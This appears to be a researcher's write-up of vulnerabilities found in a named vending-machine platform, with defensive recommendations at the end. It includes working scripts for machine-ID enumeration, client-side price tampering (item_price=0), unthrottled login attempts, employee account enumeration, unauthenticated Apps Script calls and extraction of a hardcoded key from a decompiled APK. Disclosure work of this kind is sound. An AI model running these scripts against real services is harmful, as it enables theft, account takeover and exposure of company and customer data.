How We hacked the vending machine
So I Spent a Month Breaking Vendiman's Vending Machines
A friendly writeup of how I found 28 vulnerabilities in a vending machine platform, complete with code, curiosity, and one accidental database write. Publication note: Target hostnames, script identifiers, employee addresses, secrets, and precise customer locations have been redacted in this version. Verify authorization and coordinate disclosure before publishing technical details.
The Prequel
Look, I didn't set out to find bugs in a vending machine company. I was just a student who was thirsty.
There's this vending machine at my college that dispenses Bailley water bottles. You scan a QR code, it opens a webpage, you add water bottles to a cart, pay with UPI, and it drops a bottle. Simple.
But I noticed something weird one day. The URL had a parameter called qrc and it was base64-encoded. Being a curious , I decoded it.
MjM0MjBfMQ== → 23420_1
23420_1. Machine ID 23420, planogram ID 1.
Wait. Machine IDs are sequential. That means I could just... try the next one?
The IDOR That Started Everything
I opened my terminal and wrote something embarrassingly simple:
import base64
import requests
for machine_id in range(23400, 23420):
qr = base64.b64encode(f"{machine_id}_1".encode()).decode()
url = f"https://[CONSUMER-HOST]/pwa/items.php?qrc={qr}"
r = requests.get(url)
if "No data found" not in r.text:
print(f"Machine {machine_id} is live!")
Output:
Machine 23417 is live!
Machine 23420 is live!
Machine 23421 is live!
Machine 23424 is live!
Machine 23425 is live!
Bruh. Every single machine URL was public. No authentication. No rate limiting. Just... sitting there.
Each machine's page showed:
Full inventory
Prices
Real-time stock levels
Bin locations
Even the machine's UID
That was my first finding. A classic IDOR on the qrc parameter. I could enumerate every water dispenser in the fleet.
The Cart Was Even Weirder
Once I confirmed the IDOR, I started poking at the cart. Adding an item to the cart sends a POST to ajax-cart.php with a bunch of parameters:
POST /pwa/ajax-cart.php HTTP/1.1
Host: [CONSUMER-HOST]
X-Requested-With: XMLHttpRequest
cart_unique_id=test123
machine_id=23420
item_id=5259
item_name=Bailley Water - Rs. 10
item_price=10 ← hmm
quantity=1
bin_id=105
qr_code=MjM0MjBfMQ==
Wait wait wait. The client sends item_price? Let me try something .
item_price=0
Response:
{"status": true, "message": "Add to cart"}
yay.
The server accepted item_price=0. It didn't validate against the database. It just... trusted me.
I tried:
item_price=1 → success
item_price=-100 → success
item_price=99999999 → success
Then I remembered the JS bundle I'd been ignoring. Let me check it:
$.ajax({
url: "ajax-cart.php",
type: "post",
data: {
cart_unique_id: cart_unique_id,
machine_id: machineId,
item_id: itemId,
item_price: itemPrice, // ← CLIENT-CONTROLLED
quantity: quantity,
bin_id: binId,
qr_code: qr_code,
...
}
});
Yeah. The price came straight from the client. This was a straight-up client-side trust vulnerability.
But Wait, There's More (There Was)
I kept poking. Found the admin API at [ADMIN-API-HOST]:905. Extracted all the endpoints from the JS bundle:
/api/Planogram/GetAllPlanogram
/api/ReturnAbsolutePath
/api/Ticket/Misc
/Account/Authenticate
/api/user/cashdepositdetail
/Order/remotevending/placeorder
/Order/rvwalletpayment
/Order/vendnow
... (47 total)
Every one returned 401 without a valid Bearer token.
I tested fake tokens:
headers = {"Authorization": "Bearer test"}
# → 401
headers = {"Authorization": "Bearer null"}
# → 401
headers = {"Authorization": "Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9."}
# → 401
Even tried the classic alg: none JWT forgery in 10 different ways. All rejected.
That's actually good. The API was properly secured.
The Login That Wasn't Rate Limited
But then I noticed something. The login endpoints had no rate limiting.
I sent 15 login attempts to the consumer endpoint:
for i in range(15):
r = requests.post(
"https://[ADMIN-API-HOST]:905/api/Consumer/Login?version=1.0",
json={
"email": "test@example.com",
"password": f"wrong{i}",
"deviceId": "WEBFP-test",
"deviceType": "WEB",
"userType": "Corporate",
"buildVersion": "1.2.2_P",
"operatorId": 1,
"osVersion": "unknown"
}
)
print(f"{i}: {r.status_code}")
Output:
0: 200
1: 200
2: 200
...
14: 200
15 attempts, 46 seconds, zero throttling. Not even a "try again later."
Then I tried the admin API:
for i in range(20):
r = requests.post(
"https://[ADMIN-API-HOST]:905/Account/Authenticate?version=1.0",
json={
"email": "test@example.com",
"password": f"attempt{i}",
"buildVersion": "2.5.58"
}
)
20 attempts. 14 seconds. All HTTP 200. No 429, no CAPTCHA, no lockout.
Then I tried the Django admin:
for i in range(10):
r = s.post(
"https://[DJANGO-ADMIN-HOST]/admin/login/?next=/admin/",
data={
"username": "nonexistent_user",
"password": f"wrong_password_{i}",
"csrfmiddlewaretoken": csrf,
"next": "/admin/"
}
)
10 attempts. No throttle. Even though Django has django-axes (a rate-limiting library) installed and running.
The User Enumeration Bug
The admin API turned out to have something even dumber. It differentiated responses based on account state:
| Email tested | Response | Meaning |
|---|---|---|
random@nowhere.com |
Invalid email/password |
Not registered |
admin@example.com |
User is not active |
Registered but inactive |
employee1@example.com |
Invalid password |
Registered and active |
| Bruh. You can literally enumerate every Vendiman employee account. |
I tested 29 emails I'd found via OSINT (LinkedIn, company website, LinkedIn snippets): I have used fake ids here.
emails = [
"employee1@example.com", # active
"employee2@example.com", # not registered
"employee3@example.com", # not registered
"admin@example.com", # inactive
"employee4@example.com", # active
"employee5@example.com", # active
"employee6@example.com", # active
"employee7@example.com", # active
"employee8@example.com", # inactive
"employee9@example.com", # inactive
"employee10@example.com", # inactive
...
]
for email in emails:
r = requests.post(
"https://[ADMIN-API-HOST]:905/Account/Authenticate?version=1.0",
json={"email": email, "password": "x", "buildVersion": "2.5.58"}
)
print(f"{email:35} → {r.json().get('message')}")
Results:
employee1@example.com Invalid password ← active
employee4@example.com Invalid password ← active
employee5@example.com Invalid password ← active
employee6@example.com Invalid password ← active
employee7@example.com Invalid password ← active
admin@example.com User is not active
employee8@example.com User is not active
employee9@example.com User is not active
employee10@example.com User is not active
support@example.com User is not active
... (others return "Invalid email/password")
5 active employee accounts confirmed. 5 inactive. 19 not registered. Enumeration rate: 34%.
Combined with the missing rate limit, this is a full credential attack pipeline:
Harvest candidate emails via OSINT
Query the endpoint once per email
Filter to active accounts
Brute force those accounts (no rate limit)
Full admin API access
I stopped there. That's the line.
The Apps Script That Owned Everything
Here's where it gets spicy. I noticed [REFILL-PORTAL-HOST] — an ops panel for staff to track machine refills. Downloaded its JS bundle and grep'd for URLs:
curl -s https://[REFILL-PORTAL-HOST]/assets/index-DGbzhQ3d.js | \
grep -oE "https://[^\"']+" | sort -u
Found:
https://script.google.com/macros/s/[REDACTED-SCRIPT-ID-1]/exec
https://script.google.com/macros/s/[REDACTED-SCRIPT-ID-2]/exec
Two Google Apps Script endpoints, hardcoded in a public JS bundle.
I opened the first one in a browser. It returned:
{"status":"success","message":"UID saved successfully!","rowNumber":45}
Oh no.
Wait. Did I just... write to a production Google Sheet?
I immediately stopped testing and read the response more carefully. The URL had ?uid=5921 in it from my earlier probing. The script interpreted that as "save this UID" — and wrote to row 45.
I had just performed an unintentional write to a production system during authorized testing.
I documented the exact request, timestamp, and source IP. Then I did the second thing.
I hit the second URL:
curl "https://script.google.com/macros/s/[REDACTED-SCRIPT-ID-2]/exec?action=all"
Response:
{
"status": "success",
"tab": "VIT VRA",
"machines": [
{
"Machine UID": "5897",
"Machine Name": "[REDACTED MACHINE LOCATION]",
"MachineType": "Seaga",
"Machine Last refilled": "09-23-2026 10:03:41 PM",
"Sales since 4am today": "₹12,728",
"Number of times refilled since 4 am": "1"
},
{
"Machine UID": "5954",
"Machine Name": "[REDACTED MACHINE LOCATION]",
"MachineType": "Seaga",
"Sales since 4am today": "₹1,090",
"Number of times refilled since 4 am": "1"
},
... (50+ machines)
]
}
The entire fleet. With live sales data. Without authentication.
Every machine's UID, location, machine type, last refill timestamp, live sales in ₹, refill counts. All public.
The error message from an earlier request even hinted at other valid parameters:
{"status":"error","message":"Use ?action=todayRefilled, ?action=notRefilled, ?action=all, or ?uid=ma..."}
So the API self-documented its own actions. And one of them (?uid=) triggered a write.
That's when I sent the incident report to [VENDOR-SECURITY-CONTACT] — before doing anything else.
The Corporate Fleet Discovery
After reporting the Apps Script findings, I kept enumerating machine IDs for completeness. Scanned 15000-18000, 20000-22800, 22700-23400, and so on.
One scan turned up 164 machines in the 20000-22800 range:
for mid in range(20000, 22800):
qr = base64.b64encode(f"{mid}_1".encode()).decode()
r = requests.get(f"https://[CONSUMER-HOST]/pwa/items.php?qrc={qr}")
if "No data found" not in r.text:
uid = re.search(r'UID\s*:\s*(\d+)', r.text)
print(f"{mid}_1 → UID {uid.group(1)}")
Sample output:
20177_1 → UID 2886
20240_1 → UID 2943
20291_1 → UID 2983
20313_1 → UID 3001
...
22781_1 → UID 5333
But then I noticed something. Some pages returned their location in the HTML:
<div class="machine-name">[CUSTOMER], [REDACTED SITE LOCATION]</div>
<div class="machine-name">[CUSTOMER], [REDACTED SITE LOCATION]</div>
<div class="machine-name">[CUSTOMER], [REDACTED SITE LOCATION]</div>
<div class="machine-name">[CUSTOMER], [REDACTED SITE LOCATION]</div>
Vendiman's entire corporate customer list was public. Adani. KPMG. LKQ. CBRE. With physical addresses and floor details.
All without a single authentication check.
The APKs: When Apps Leak More Than They Should
At this point I have gone too deep into this I tested mobile apps too. Downloaded the VRA Admin APK on my device, decompiled it:
apktool d vendiman.apk -o decompiled/
jadx -d java_source/ vendiman.apk
Then grep'd for secrets:
grep -rniE "(api[_-]?key|secret|password|token)" java_source/com/vendiman/
Found this in AESCrypt.java:
public static Key generateKey() {
return new SecretKeySpec("[REDACTED-KEY]".getBytes(), "AES");
}
The AES encryption key was hardcoded in the APK.
"Encrypted" data in the app's SharedPreferences was actually just obfuscated. If you have the key (which is public in the APK) and device access, you can read:
The user's login password
The Bearer token
Emails, usernames, roles
FCM tokens
Tested it by extracting SharedPreferences from a rooted device:
<string name="PASSWORD">U2FsdGVkX1...</string>
Decrypted with the known key → plaintext password.
Any admin whose phone is stolen loses their account. And their account controls every vending machine they manage.
The Django Admin Nobody Watched
Found this one through the CSP header of the vend confirmation page:
Content-Security-Policy: default-src 'self' https://lumberjack-metrics.razorpay.com ...
Wait, what's [DJANGO-ADMIN-HOST]? Never seen that before.
Opened it. Saw this:
TNM administration - Developed by Govind(CTO)
Welcome to TNV
Sign in to manage VRA authorizations
A Django admin panel. Completely public. Completely unauthenticated for the login page.
I tested rate limiting (just like the other logins):
import requests
import re
url = "https://[DJANGO-ADMIN-HOST]/admin/login/?next=/admin/"
s = requests.Session()
r = s.get(url)
csrf = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', r.text).group(1)
for i in range(10):
r = s.post(url, data={
"username": "test_user",
"password": f"wrong_{i}",
"csrfmiddlewaretoken": csrf,
"next": "/admin/"
})
print(f"Attempt {i+1}: {r.status_code}")
Result:
Attempt 1: 200 (1763ms)
Attempt 2: 200 (1490ms)
Attempt 3: 200 (1486ms)
...
Attempt 10: 200 (1633ms)
No rate limit. Even though django-axes is installed. I could see /admin/axes/accessattempt/ in the URL space.
Also missing: Strict-Transport-Security, Content-Security-Policy, and the CSRF cookie had no Secure flag.
What the Django Admin Would Give Access To
Enumerating paths (using harmless 302 checks), I mapped out the Django apps:
/admin/auth/user/ → user management
/admin/auth/group/ → permissions
/admin/sessions/session/ → all sessions
/admin/django_celery_beat/ → scheduled tasks
/admin/django_celery_results/ → task results
/admin/oauth2_provider/ → OAuth2 tokens
/admin/rest_framework/ → API tokens
/admin/axes/accessattempt/ → rate limit records
If compromised, an attacker gets:
Full database CRUD
Ability to mint OAuth2 tokens for any user
Modify scheduled Celery tasks
Access all user accounts, wallet data, and orders
Combined with missing rate limiting = critical attack path.
The UID 5912 Rabbit Hole
At some point, I couldnt find the url of machine at Boys Hostel Block 4 with UID 5912 .
I went DEEP on this. Turns out the UID and machine_id are two completely different identifiers with no mathematical relationship:
UID 5902 → machine_id 23376 (offset +17474)
UID 5904 → machine_id 23369 (offset +17465)
Nine-digit difference between two data points. No formula.
I built scripts that scanned:
22800-23363
23363-23444
23445-25500
25500-27000
15000-18000
20000-22800 (found 164!)
27000-100500
UID 5912 was nowhere. Lesson learned: Sometimes the machine you're looking for just doesn't exist on the public surface.
The Water Dispenser vs Snack Machine Mystery
VIT also has snack machines. Different URLs, but same items.php?qrc= format. I tested the price tampering on those too.
Water dispensers: price tampering works. Free water bottle.
Snack machines: price tampering is accepted by the cart, payment goes through at the tampered price, but then...
{
"vendRemark": "Dispense Not Found",
"vendStatus": "11",
"successquantity": 0,
"failedquantity": 3
}
The vend fails. No product dispensed. And the automatic refund also fails:
Razorpay error: "The refund amount provided is greater than amount captured"
So the customer is charged but gets nothing and no refund.
Hypothesis: The snack machine has some kind of server-side price validation that fails when the price is tampered. But I never confirmed this — I'd need to see the server logs to know. And I have not tested that yet.
What I did confirm: The snack machine price tampering vulnerability exists at the cart level. It's just currently blocked by the vend failure. Fix the vend failure without fixing the price trust, and you unlock free snacks.
What I have not Tested
- Brute forcing logins — I proved the missing rate limit with 10-20 attempts. Running a real brute force would be a crime even with authorization.
Using the confirmed active accounts — I found employee1@example.com is active. Trying to guess his password would be a crime.
Completing a tampered-price transaction — I proved the cart accepts item_price=0. Actually buying water for ₹0 would be theft(
that works).Bypassing the snack machine vend failure — The vend failure is a bug. Figuring out how to make it succeed while keeping the tampered price .
The MQTT broker — Port 1883 on [REDACTED-IP] was open. Testing it further would risk sending real commands to real machines.
The line is: enumeration and identification are legal. Exploitation is not.
The Full Findings List
By the end of the assessment:
Critical (3):
Apps Script unauthenticated write
Apps Script unauthenticated read
Client-side price tampering (water dispensers)
High (9):
Missing rate limit — consumer login
Missing rate limit — admin API login
Missing rate limit — Django admin login
User enumeration — admin API login
No account lockout — consumer login
Hardcoded AES key — VRA Admin APK
IDOR — machine enumeration (178+ machines)
CORS wildcard
PHPSESSID missing flags
Medium (10):
Unauth Configuration endpoint
Incorrect HTTP 200 on auth failure
Missing HSTS — Django admin
Missing CSP — Django admin
CSRF cookie missing Secure flag
Client-side role gating
SYSTEM_ALERT_WINDOW permission
Cleartext traffic permitted
Exposed API structure in JS
Multiple backend frameworks
Low (6):
Internal hostname disclosure
Debug log strings (admin app)
Debug log strings (consumer app)
UAT environment in prod code
Soft-404 behavior
No certificate pinning
Positive controls (15+):
Bearer token enforcement
JWT forgery rejection
SQL injection prevention
Firebase rules
Android Keystore in consumer app
PairIP protection
No user enumeration on consumer/Django login
RFC 6750 compliance
What I Learned
Client-side trust is everywhere. Any parameter the client sends — price, quantity, role, ID — must be validated server-side. Every single one.
Missing controls compound. No rate limit alone is annoying. No rate limit + user enumeration = credential attack pipeline.
Inconsistency is a signal. The consumer login prevented enumeration. The Django admin prevented enumeration. But the admin API didn't. The inconsistency revealed the bug.
Sprawl creates gaps. Four different backend frameworks means four different security postures. The Django admin missed HSTS/CSP that the main API had. The admin API missed enumeration prevention that the consumer API had.
Latent bugs mask active ones. The snack machine price tampering exists but is currently blocked by the vend failure. Fix one without fixing the other and you unlock theft.
The line is real. Enumeration? Fine. Identification? Fine. Testing responses with placeholder data? Fine. Actually attacking a real user's account? That's a crime. I never crossed it.
If You're Building a Vending Platform
Don't do what Vendiman did. Do these instead:
Validate prices server-side. Look up the price by item_id. Never trust client input.
Rate limit every authentication endpoint. 5 attempts per minute per IP. Exponential backoff after 3 failures.
Return generic error messages. "Invalid credentials" for every failure mode.
Sign your QR codes. Use HMAC-signed tokens with expiry.
Audit your JS bundles. Don't leak endpoints, keys, or internal URLs.
Protect your Apps Script deployments. "Execute as: Me, Who has access: Only myself." Non-negotiable.
Use Android Keystore. Not hardcoded AES keys. Not static secrets. Hardware-backed storage.
Fix refund logic. If payment succeeds and vend fails, refund automatically. Validate refund amount ≤ captured amount.
Audit third-party integrations. Firmware hosts, payment gateways, analytics — all are attack surface.
Test what happens after payment. Not just whether payment works. What happens if vend fails? What happens if a refund is needed?
Thanks
To the researchers at BITS Pilani whose blog inspired the approach.
To my friends (harsh , triggy) who found the snack machine URLs and vulns that started this investigation.
And to every vending machine that ever dispensed a free water bottle because someone forgot to validate a price on the server. (:
End of post.